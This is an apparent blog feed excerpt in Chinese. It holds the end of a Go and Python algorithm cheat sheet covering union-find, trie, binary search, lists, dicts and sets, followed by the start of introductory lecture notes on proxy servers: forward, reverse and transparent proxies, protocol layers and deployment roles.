&lt;h4&gt;1.4.7. 位运算&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;x &amp;amp; y   // AND
x | y   // OR
x ^ y   // XOR
x &amp;amp;^ y  // AND NOT (将 x 中 y 为 1 的位清零)
x &amp;lt;&amp;lt; n  // 左移
x &amp;gt;&amp;gt; n  // 右移
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.4.8. 输入输出&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import (
    &quot;bufio&quot;
    &quot;fmt&quot;
    &quot;os&quot;
)

func main() {
    in := bufio.NewReader(os.Stdin)
    out := bufio.NewWriter(os.Stdout)
    defer out.Flush()

    var n int
    fmt.Fscan(in, &amp;amp;n) // 读取
    
    // ... 逻辑 ...
    
    fmt.Fprintln(out, n) // 输出
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.4.9. 并查集 Union-Find (DSU)&lt;/h4&gt;
&lt;p&gt;处理连通性问题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;parent := make([]int, n)
for i := range parent {
    parent[i] = i
}

// 查找 路径压缩
var find func(int) int
find = func(x int) int {
    if parent[x] != x {
        parent[x] = find(parent[x])
    }
    return parent[x]
}

// 合并
union := func(from, to int) {
    p1, p2 := find(from), find(to)
    if p1 != p2 {
        parent[p1] = p2
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.4.10. 图的存储 (邻接表)&lt;/h4&gt;
&lt;p&gt;Go 通常用 &lt;code&gt;[][]int&lt;/code&gt; 表示图&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// n 个节点，edges = [[u, v], ...]
graph := make([][]int, n)
for _, e := range edges {
    u, v := e[0], e[1]
    graph[u] = append(graph[u], v)
    graph[v] = append(graph[v], u) // 无向图
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.4.11. 字典树 Trie (前缀树)&lt;/h4&gt;
&lt;p&gt;前缀问题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Trie struct {
    children [26]*Trie
    isEnd    bool
}

func (t *Trie) Insert(word string) {
    node := t
    for _, ch := range word {
        idx := ch - &apos;a&apos;
        if node.children[idx] == nil {
            node.children[idx] = &amp;amp;Trie{}
        }
        node = node.children[idx]
    }
    node.isEnd = true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;// To be continued&lt;/p&gt;
&lt;h3&gt;1.5. 常用算法技巧&lt;/h3&gt;
&lt;h4&gt;1.5.1. 二分查找&lt;/h4&gt;
&lt;p&gt;除了手写 left &amp;lt;= right，Go 标准库提供了非常强大的二分模板&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 手写模板 找左边界
l, r := 0, len(nums) 
for l &amp;lt; r {
    mid := int(uint(l+r) &amp;gt;&amp;gt; 1) // 防止溢出
    if nums[mid] &amp;gt;= target {
        r = mid
    } else {
        l = mid + 1
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;标准库 &lt;code&gt;sort.Search&lt;/code&gt;
&lt;code&gt;sort.Search(n, f)&lt;/code&gt; 返回&lt;code&gt;[0, n)&lt;/code&gt;中第一个满足 &lt;code&gt;f(i) == true&lt;/code&gt; 的索引 &lt;code&gt;i&lt;/code&gt;。如果都不满足，返回 &lt;code&gt;n&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;sort&quot;

idx := sort.Search(len(nums), func(i int) bool {
    return nums[i] &amp;gt;= target
})

if idx &amp;lt; len(nums) &amp;amp;&amp;amp; nums[idx] == target {
    fmt.Println(&quot;Found at&quot;, idx)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.5.2. 网格遍历 (方向数组)&lt;/h4&gt;
&lt;p&gt;DFS/BFS 搜索二维网格&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 方向数组：上右下左
dirs := []struct{ x, y int }{ {-1, 0}, {1, 0}, {0, -1}, {0, 1} }

for _, d := range dirs {
    nx, ny := x + d.x, y + d.y
    if nx &amp;gt;= 0 &amp;amp;&amp;amp; nx &amp;lt; n &amp;amp;&amp;amp; ny &amp;gt;= 0 &amp;amp;&amp;amp; ny &amp;lt; m {
        // ...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. Python 部分&lt;/h2&gt;
&lt;h3&gt;2.1. 核心数据类型&lt;/h3&gt;
&lt;h4&gt;2.1.1. 整数 (int)&lt;/h4&gt;
&lt;p&gt;x = 10, y = -5&lt;/p&gt;
&lt;h4&gt;2.1.2. 浮点数 (float)&lt;/h4&gt;
&lt;p&gt;pi = 3.14&lt;/p&gt;
&lt;h4&gt;2.1.3. 布尔值 (bool)&lt;/h4&gt;
&lt;p&gt;flag = True, flag = False&lt;/p&gt;
&lt;h4&gt;2.1.4. 字符串 (str)&lt;/h4&gt;
&lt;p&gt;s = &quot;hello world&quot;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;a, b = b, a&lt;/code&gt; 交换变量&lt;/p&gt;
&lt;h3&gt;2.2. 核心数据结构&lt;/h3&gt;
&lt;h4&gt;2.2.1. 列表 (List)&lt;/h4&gt;
&lt;h5&gt;2.2.1.1. 创建&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nums = [1, 2, 3, 4] 

ans = []
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.2.1.2. 访问&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;first = nums[0] # 正向索引，从0开始

last = nums[-1] # 反向索引，从-1开始
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.2.1.3. 切片&lt;/h5&gt;
&lt;p&gt;创建子列表，语法 [start:stop:step]&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;copy = nums[:] # 创建列表浅拷贝

reverse = nums[::-1] # 翻转列表

&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.2.1.4. 列表的常用函数和操作&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;len(nums)          # 获取长度
sum(nums)          # 对数字列表求和
min(nums) / max(nums) # 求最值
sorted(nums)       # 返回一个排好序的新列表
value in nums      # 成员检查 (O(n))
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.2.1.5. 列表的常用方法&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nums.append(value)   # 在末尾添加
nums.pop(index)      # 删除并返回元素
nums.sort()          # 原地排序
nums.reverse()       # 原地反转
nums.index(value)    # 查找索引
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.2.2. 字典 (Dictionary / Hash Map)&lt;/h4&gt;
&lt;p&gt;字典是无序的键值对 (key: value) 集合。它通过哈希表实现，查找、插入、删除的平均时间复杂度为 O(1)&lt;/p&gt;
&lt;h5&gt;2.2.2.1. 创建&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;lookup = {&apos;name&apos;: &apos;Alice&apos;, &apos;id&apos;: 123}
empty_dict = {}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.2.2.2. 操作&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;name = lookup[&apos;name&apos;] # 不存在会报错
lookup[&apos;id&apos;] = 456 # 添加新的键值对

&apos;id&apos; in lookup # 检查键是否存在

del lookup[&apos;id&apos;] # 删除键值对

for key in lookup.keys() # 遍历所有键

for value in lookup.values() # 遍历所有值

for key, value in lookup.items() # 同时遍历键和值
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.2.3. 集合 (Set)&lt;/h4&gt;
&lt;p&gt;集合是无序、不重复的元素集合。其底层也是哈希表，因此&lt;strong&gt;检查一个元素是否存在&lt;/strong&gt;的速度极快 (O(1))&lt;/p&gt;
&lt;h5&gt;2.2.3.1. 创建&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;unique_nums = {1, 2, 3}
empty_set = set() # 不可以使用{}

from_list = set([1, 2, 2, 3, 1]) # -&amp;gt; {1, 2, 3} (天然去重)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.2.3.2. 操作&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;unique_nums.add(4) # 添加元素
unique_nums.remove(3) # 删除元素

3 in unique_nums # 检查成员是否存在

set1 = {1, 2, 3}
set2 = {3, 4, 5}

# 交集 (intersection) - 两个集合中都有的元素
intersection = set1 &amp;amp; set2  # -&amp;gt; {3}

# 并集 (union) - 两个集合中所有的元素
union = set1 | set2         # -&amp;gt; {1, 2, 3, 4, 5}

# 差集 (difference) - 在 set1 中但不在 set2 中的元素
difference = set1 - set2    # -&amp;gt; {1, 2}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.2.4. 字符串 (String)&lt;/h4&gt;
&lt;p&gt;不可变的文本序列&lt;/p&gt;
&lt;h5&gt;2.2.4.1. 操作&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;切片和索引&lt;/strong&gt;与&lt;strong&gt;列表&lt;/strong&gt;完全相同&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new_str = str1 + str2

&apos; &apos;.join([&apos;111&apos;, &apos;222&apos;, &apos;333&apos;]) # -&amp;gt; &quot;111 222 333&quot; (将列表连接成字符串)

&quot;a,b,c&quot;.split(&apos;,&apos;) # -&amp;gt; [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;] (将字符串分割成列表)

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3. 控制流与逻辑&lt;/h3&gt;
&lt;h4&gt;2.3.1. 条件判断 (if/elif/else)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;if score &amp;gt; 90:
    grade = &apos;A&apos;
elif score &amp;gt; 80:
    grade = &apos;B&apos;
else:
    grade = &apos;C&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;三元运算符 (Ternary Operator)&lt;/strong&gt;: result = &quot;Even&quot; if num % 2 == 0 else &quot;Odd&quot;&lt;/p&gt;
&lt;h4&gt;2.3.2. 循环&lt;/h4&gt;
&lt;h5&gt;2.3.2.1. for循环&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;for num in numbers:
    print(num)

# 使用 range() 进行固定次数的循环
for i in range(5): # 循环 0, 1, 2, 3, 4
    print(i)

# 使用 enumerate
for index, value in enumerate(numbers):
    print(f&quot;Index: {index}, Value: {value}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.3.2.2. while 循环&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;count = 5
while count &amp;gt; 0:
    print(count)
    count -= 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.3.3. 函数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;def solve(parameter1, parameter2):
    # 1. 初始化变量
    result = 0
    
    # 2. 核心逻辑
    # ... (使用循环、判断等)
    
    # 3. 返回结果
    return result
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.4. 通用内置函数&lt;/h3&gt;
&lt;h4&gt;2.4.1. len(obj)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;length = len([1, 5, 9])      # -&amp;gt; 3
str_len = len(&quot;hello&quot;)       # -&amp;gt; 5
dict_len = len({&apos;a&apos;: 1, &apos;b&apos;: 2}) # -&amp;gt; 2
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4.2. sum(iterable)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# 适用于数字组成的列表、元组等
total = sum([10, 20, 30])    # -&amp;gt; 60
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4.3. min(iterable) / max(iterable)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# 适用于可比较元素组成的序列
min_val = min([3, 1, 9, 2])  # -&amp;gt; 1
max_val = max([3, 1, 9, 2])  # -&amp;gt; 9
min_char = min(&quot;database&quot;)   # -&amp;gt; &apos;a&apos; (按字母序)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4.4. sorted(iterable)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# 返回一个全新的排好序的列表，不改变原对象
nums = [3, 1, 4, 2]
new_sorted_list = sorted(nums) # -&amp;gt; [1, 2, 3, 4]
# print(nums) 仍然是 [3, 1, 4, 2]

# 对字符串排序会得到字符列表
sorted_chars = sorted(&quot;bca&quot;) # -&amp;gt; [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4.5. abs(x)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;num = abs(-5) # 5
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4.6. range(start, stop, step)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# range(stop)
for i in range(3):
    print(i) # -&amp;gt; 依次输出 0, 1, 2

# range(start, stop)
for i in range(1, 4):
    print(i) # -&amp;gt; 依次输出 1, 2, 3

# range(start, stop, step)
for i in range(0, 5, 2):
    print(i) # -&amp;gt; 依次输出 0, 2, 4
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4.7. 类型转换函数&lt;/h4&gt;
&lt;h5&gt;2.4.7.1. int(x)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;a=int(&quot;123&quot;) # -&amp;gt; 123 
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.4.7.2. str(obj)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;a=str(123) # -&amp;gt; &quot;123&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.4.7.3. list(iterable)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;ans=list(range(3)) # -&amp;gt; [0, 1, 2]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.4.7.4. set(iterable)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;new_set=set([1, 2, 2, 3]) # -&amp;gt; {1, 2, 3}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4.8. enumerate(iterable)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# 在循环中同时需要下标和元素的最佳方式
letters = [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;]
for index, value in enumerate(letters):
    print(f&quot;Index: {index}, Value: {value}&quot;)
# -&amp;gt; Index: 0, Value: a
# -&amp;gt; Index: 1, Value: b
# -&amp;gt; Index: 2, Value: c
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4.9. zip()&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# 将多个列表/元组等并行打包遍历
names = [&apos;Alice&apos;, &apos;Bob&apos;]
scores = [95, 88]
for name, score in zip(names, scores):
    print(f&quot;{name}: {score}&quot;)
# -&amp;gt; Alice: 95
# -&amp;gt; Bob: 88 
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4.10. map(function, iterable)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# 将函数应用于序列的每个元素，返回一个迭代器
str_nums = [&quot;1&quot;, &quot;2&quot;, &quot;3&quot;]
# 需要用 list() 来获取所有结果
int_nums = list(map(int, str_nums)) # -&amp;gt; [1, 2, 3]


line = &quot;10 20 30&quot;
nums = list(map(int, line.split())) # -&amp;gt; [10, 20, 30]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.5. 核心数据类型方法&lt;/h3&gt;
&lt;h4&gt;2.5.1. 字符串 (str)&lt;/h4&gt;
&lt;h5&gt;2.5.1.1. str.split(sep)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;s = &quot;hello world&quot;
words = s.split(&apos; &apos;)     # -&amp;gt; [&apos;hello&apos;, &apos;world&apos;]

csv = &quot;a,b,c&quot;
items = csv.split(&apos;,&apos;)   # -&amp;gt; [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.1.2. sep.join(list)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;words = [&apos;hello&apos;, &apos;world&apos;]
s = &quot; &quot;.join(words)      # -&amp;gt; &quot;hello world&quot;

chars = [&apos;p&apos;, &apos;y&apos;]
result = &quot;-&quot;.join(chars) # -&amp;gt; &quot;p-y&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.1.3. str.find(sub)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;s = &quot;banana&quot;
# 找不到时返回 -1
index1 = s.find(&apos;na&apos;)    # -&amp;gt; 2 (首次出现的位置)
index2 = s.find(&apos;z&apos;)     # -&amp;gt; -1
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.1.4. str.count(sub)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;s = &quot;banana&quot;
count = s.count(&apos;a&apos;)     # -&amp;gt; 3
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.1.5. str.strip()&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;s = &quot;  hello  &quot;
clean_s = s.strip()      # -&amp;gt; &quot;hello&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.1.6. str.isdigit()&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;s1 = &quot;123&quot;
s2 = &quot;a123&quot;
print(s1.isdigit())      # -&amp;gt; True
print(s2.isdigit())      # -&amp;gt; False
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.5.2. 列表 (list)&lt;/h4&gt;
&lt;h5&gt;2.5.2.1. list.index(x[, start[, end]])&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;aList = [123, &apos;xyz&apos;, &apos;runoob&apos;, &apos;abc&apos;]  
  
index1 = aList.index( &apos;xyz&apos; )   # 1
index2 = aList.index( &apos;runoob&apos;, 1, 3 ) # 2
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.2.2. list.append(x)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nums = [1, 2]
nums.append(3)           # nums 变为 [1, 2, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.2.3. list.pop(i)&lt;/h5&gt;
&lt;p&gt;时间复杂度为O(n),list模拟队列效率很低&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nums = [10, 20, 30]
last = nums.pop()        # -&amp;gt; 30, nums 变为 [10, 20]
# 删除并返回指定索引的元素
first = nums.pop(0)      # -&amp;gt; 10, nums 变为 [20]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.2.4. list.sort(cmp=None, key=None, reverse=False)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nums = [3, 1, 4, 2]
nums.sort()              # nums 本身变为 [1, 2, 3, 4]

# 降序排序
nums.sort(reverse=True)  # nums 变为 [4, 3, 2, 1]

# 获取列表的第二个元素
def takeSecond(elem):
    return elem[1]
random = [(2, 2), (3, 4), (4, 1), (1, 3)]
# 指定第二个元素排序
random.sort(key=takeSecond) # 排序列表： [(4, 1), (2, 2), (1, 3), (3, 4)]

&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.2.5. list.reverse()&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nums = [1, 2, 3]
nums.reverse()           # nums 变为 [3, 2, 1]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.2.6. list.remove(obj)&lt;/h5&gt;
&lt;p&gt;删掉第一个匹配的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;list1 = [&apos;Google&apos;, &apos;Runoob&apos;, &apos;Taobao&apos;, &apos;Baidu&apos;]  
list1.remove(&apos;Taobao&apos;)  # [&apos;Google&apos;, &apos;Runoob&apos;, &apos;Baidu&apos;]
list1.remove(&apos;Baidu&apos;)   # [&apos;Google&apos;, &apos;Runoob&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.5.3. 字典 (dict)&lt;/h4&gt;
&lt;h5&gt;2.5.3.1. dict.get(key, default)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;counts = {&apos;a&apos;: 2, &apos;b&apos;: 1}
# 获取键 &apos;b&apos; 的值
val1 = counts.get(&apos;b&apos;, 0)  # -&amp;gt; 1
# 获取键 &apos;c&apos; 的值，因不存在，返回默认值 0
val2 = counts.get(&apos;c&apos;, 0)  # -&amp;gt; 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.3.2. dict.keys()&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;counts = {&apos;a&apos;: 2, &apos;b&apos;: 1}
for key in counts.keys():
    print(key) # -&amp;gt; 依次输出 &apos;a&apos;, &apos;b&apos;

sorted_keys = sorted(counts.keys()) # -&amp;gt; [&apos;a&apos;, &apos;b&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.3.3. dict.values()&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;counts = {&apos;a&apos;: 2, &apos;b&apos;: 1}
for value in counts.values():
    print(value) # -&amp;gt; 依次输出 2, 1

values_list = list(counts.values()) # -&amp;gt; [2, 1]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.5.3.4. dict.items()&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;counts = {&apos;a&apos;: 2, &apos;b&apos;: 1}
for key, value in counts.items():
    print(f&quot;{key}: {value}&quot;)
# -&amp;gt; a: 2
# -&amp;gt; b: 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.6. Collections&lt;/h3&gt;
&lt;h4&gt;2.6.1. defaultdict&lt;/h4&gt;
&lt;p&gt;使用dict时，如果引用的Key不存在，就会抛出KeyError。如果希望key不存在时，返回一个默认值，就可以用&lt;code&gt;defaultdict&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dd = defaultdict(lambda: &apos;N/A&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用&lt;code&gt;lambda&lt;/code&gt; 可创建默认值
否则的话默认是0&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这边还在等待更新中
其实是刷题刷着刷着觉得应该开始总结经验还有防止忘记&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><author>s3loy</author></item><item><title>Proxy Server</title><link>https://blog.s3loy.tech/posts/proxy-server</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/proxy-server</guid><pubDate>Sat, 13 Dec 2025 10:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;免责声明：只做入门梳理&lt;br /&gt;
细节、实现和部署以官方文档为准&lt;/p&gt;
&lt;p&gt;2025 SAST运维组第三次授课文档&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;代理出现的原因&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;在「直连」模型里，终端拿到目标 IP 和端口后直接发起 TCP 连接。操作系统完成三次握手，应用就开始收发 HTTP 报文&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这个模型一旦落到真实网络，就很快不够用了&lt;/p&gt;
&lt;p&gt;所以聪明的人们又有好点子了：引入了一个「中间点」，专门负责代替一端发起连接、转发数据、统一做控制和观测。这一层就是代理服务器
for example：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;本机调试接口时，希望完整看清 HTTP/HTTPS 请求头、响应头、Body，并能修改后重放。通常会起一个本地代理（如 mitmproxy），把浏览器的 HTTP 代理指向 127.0.0.1:xxxx，再由这个「中间人」接管所有请求&lt;/li&gt;
&lt;li&gt;线上服务对外只有一个 &lt;code&gt;https://example.com&lt;/code&gt; 域名，背后是多台应用和多种服务。在入口放一层 Nginx 或 Caddy，把客户端所有请求收下来，再按路径或 Host 等信息分发到不同后端&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;常见使用场景&lt;/h3&gt;
&lt;p&gt;我们可以对代理用途做一个抽象&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;出口控制&lt;/strong&gt;场景。学校希望所有出网流量都经过一台或一组出口，便于统一做访问控制、审计、带宽管理。终端直连外网会被路由或防火墙丢弃，只有经由 HTTP/SOCKS 出口代理的流量才能成功&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;终端统一配置&lt;/strong&gt;场景。桌面环境里有浏览器、Git、命令行工具、IDE 插件等多个组件都需要访问外网，通过本机一个 HTTP/SOCKS 端口集中过滤和分流，会比逐个配置简单，也便于后续切换策略&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;网站入口&lt;/strong&gt;场景。对外只暴露有限几个域名和入口端口，入口代理根据 Host/Path 等做路由和负载均衡，把请求分发到多台后端，还可以统一完成 TLS 终止、压缩、缓存和安全控制&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;API 管控&lt;/strong&gt;场景。面对大量对外 API，入口需要根据调用方身份做鉴权、限流、审计、灰度，这通常比「每个微服务自己实现一套」更可控，API 网关就在这一层演化出来&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;服务间通信&lt;/strong&gt;场景。微服务拆分之后，服务之间调用本身就是一张网。用 sidecar 代理统一承接出站和入站，配合控制面下发路由、重试、限流和 mTLS 策略，就形成了 Service Mesh&lt;/p&gt;
&lt;h2&gt;代理的几个角度&lt;/h2&gt;
&lt;h3&gt;代理人&lt;/h3&gt;
&lt;p&gt;从「站在哪一侧」来看，我们可以区分三个角色：&lt;/p&gt;
&lt;h4&gt;正向代理&lt;/h4&gt;
&lt;p&gt;部署在客户端一侧，终端主动把目标信息交给它，由代理代表终端去访问外部服务，
出口 HTTP/SOCKS 代理、浏览器配置的 HTTP 代理、Clash-Verge 提供的本地混合端口，都是正向代理的典型形态&lt;/p&gt;
&lt;h4&gt;反向代理&lt;/h4&gt;
&lt;p&gt;部署在服务端一侧，对外表现为「服务本体」
客户端只认识反向代理暴露的 IP 和域名，后面的具体服务拓扑被隐藏在内网。Nginx、Caddy、Envoy 放在网站入口时扮演的就是反向代理角色&lt;/p&gt;
&lt;h4&gt;透明代理&lt;/h4&gt;
&lt;p&gt;终端和服务端都未显式配置代理，由网络设备或操作系统利用 NAT/TProxy/TUN 等手段，把匹配条件内的连接重定向到代理进程&lt;/p&gt;
&lt;p&gt;运营商透明 HTTP 缓存、Mesh 的 TProxy 模式、终端 TUN 透明代理都属于这一类&lt;/p&gt;
&lt;h3&gt;部署位置&lt;/h3&gt;
&lt;p&gt;同一套代理软件，部署位置不同，角色和关注点都会变化&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;终端本机 : 终端代理，负责这台机器或这组用户的流量，常见能力是按域名/IP/进程做分流和出站选择&lt;/li&gt;
&lt;li&gt;出口网关 : 出口代理，面对的是整个子网/VPC 的出网行为，更关心访问控制、审计和带宽&lt;/li&gt;
&lt;li&gt;公网入口 : 网站或 API 入口代理，重点是 TLS、路由、负载均衡、安全与观测&lt;/li&gt;
&lt;li&gt;服务实例旁边 : sidecar，在 Mesh 中负责服务间东西向流量&lt;/li&gt;
&lt;li&gt;边缘节点 : CDN 边缘或边缘计算节点的 HTTP 代理，靠近用户做缓存、压缩和安全防护&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;协议层级&lt;/h3&gt;
&lt;p&gt;从协议栈层级看，大致有两档：&lt;/p&gt;
&lt;p&gt;1.面向 L3/L4 的代理和负载均衡组件，只关心 IP+端口+协议，按照五元组转发流量，必要时做 NAT。典型是四层负载均衡或基于 REDIRECT/TPROXY 的透明代理&lt;/p&gt;
&lt;p&gt;2.面向 L7 的应用代理，会解析 HTTP/gRPC/WebSocket 等应用协议，根据 Host、Path、Method、Header 甚至 Body 做路由、限流、鉴权、改写和缓存。Nginx/Caddy/Envoy、各类 API 网关，基本都属于这一类&lt;/p&gt;
&lt;p&gt;终端代理通常两层都涉及,底层通过 TUN/TPROXY 接管 IP 层，之后还原到 TCP/UDP 连接，再根据 L7 语义做策略&lt;/p&gt;
&lt;h3&gt;代理协议类型&lt;/h3&gt;
&lt;p&gt;「客户端和代理之间用什么协议说话」是另一个维度&lt;/p&gt;
&lt;h4&gt;HTTP/HTTPS 代理&lt;/h4&gt;
&lt;p&gt;客户端把完整 URL 或 CONNECT 请求发给代理，代理根据 HTTP 报文中的 Host/Path 等信息去访问目标。适合 Web 场景、按 URL 维度做控制，是浏览器常用的代理方式&lt;/p&gt;
&lt;h4&gt;SOCKS 代理&lt;/h4&gt;
&lt;p&gt;先进行简单握手，告知代理目标地址，之后代理仅负责转发 TCP/UDP 流量，不关心上层协议。SOCKS5 还支持 UDP ASSOCIATE，用于转发 DNS 或游戏类 UDP 流量&lt;/p&gt;
&lt;h4&gt;DNS 代理&lt;/h4&gt;
&lt;p&gt;接收 DNS 查询报文，统一做缓存、转发和过滤。终端代理通常内置 DNS 模块，配合 fake-IP / redir-host 等模式一起工作&lt;/p&gt;
&lt;h4&gt;各种专用协议代理&lt;/h4&gt;
&lt;p&gt;数据库中间件可以读懂 MySQL/PostgreSQL 协议，消息队列 Proxy 能读懂 Kafka/Redis 协议......
这些在概念上仍然是代理，只是面向特定协议做更深入处理
&lt;s&gt;没想到吧这些都算代理&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;出口代理和终端代理&lt;/h2&gt;
&lt;h3&gt;基本拓扑&lt;/h3&gt;
&lt;p&gt;典型出口代理拓扑大概长这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Client ── TCP1 ──&amp;gt; Proxy ── TCP2 ──&amp;gt; Server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Client 和 Proxy 之间是一条 TCP 连接；Proxy 和 Server 之间是一条独立的 TCP 连接
两条连接的建立、关闭、重试等可以完全由 Proxy 控制&lt;/p&gt;
